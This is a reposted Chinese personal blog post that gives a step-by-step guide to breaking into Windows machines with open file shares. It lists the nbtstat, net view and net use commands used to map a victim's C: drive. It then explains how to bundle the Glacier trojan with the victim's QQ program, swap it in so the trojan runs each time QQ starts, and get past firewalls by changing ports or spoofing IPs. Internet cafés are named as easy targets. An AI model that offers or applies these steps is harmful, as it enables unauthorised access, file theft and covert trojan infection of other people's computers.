分享

网络攻防技术 - TOBY - 网易博客

 万卷书生 2008-10-25

网络攻防技术

现在的HACKER太嚣张了,经常似无忌惮的攻击俺的电脑。没办法谁叫咋是毝蟧阿。痛定思痛决定以黑治黑。呵呵~

      于是想在自己的博客上记录自己学习的全过程。希望能督促自己坚持下去(毕竟是自己不熟悉的领域~~~)

今天学习一哈:黑客最简单攻击

 第一步获得对方的IP撒

第二步是DOC命令的操作:

     在命令提示符下(即,win9x的dos命令行下) 
输入 nbtstat -A xxx.xxx.xxx.xxx 
会得到如下提示信息: 
NetBios remote machine name table 
name __type _________status 
clovea <00> unique registered 
mmxxcc <00> group registered 
clovea <03> unique registered 
mac address = 00-00-00-00-00-00 
这里就告诉了你对方的注册用户名,和主机名 均为clovea 
mmxxcc为对方注册公司。 
第三步,在命令提示符下输入, 
net view
\\xxx.xxx.xxx.xxx 
这时会显示对方的共享资源。 
比如 
c xx c 
说明对方的c盘是共享的。 
第四步,接下来输入 
net use z:
\\xxx.xxx.xxx.xxx\c 
这时,你的z:就成为对方c盘的应像了,可以直接用dos命令操作 
如copy z:\program files\oicq.exe d:\oicq.exe 
也可以到到windows界面,打开我的电脑,直接操作。 
第5步,查明对方的常用软件,如oicq,winamp,等等 
然后把对方的常用软件和木马进行捆绑,如把oicq.exe 和G_sever.exe(冰河2.2服务端)。 
第6步,偷梁换柱,把你捆绑好了的oicq.exe覆盖对方的oicq.exe,这样对方每次用oicq的时候就不知不觉的运行了你的木马,嘿嘿。 
第7步,等着你的冰河给你发mail吧,呵呵,不过大家最好还是别用冰河,冰河的万能密码太恐怖了,还有,默认的木马端口一定要记得改啊。 
备注,如果对方拥有天网之内的防火墙的话,你是查不到对方的共享资源和信息的。 
如果你已经成功的侵入,而又能肯定对方要装防火墙的话,请把木马端口限制在1024以下。 
以上方法虽然是利用对方的错误配置等进攻,并且懂点安全知识的都不会共享自己的资源的,但是经我实验证实,有很多网吧为了方便,硬盘都是共享了的,如果对方有路由的话,就先用ip欺骗吧!  

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多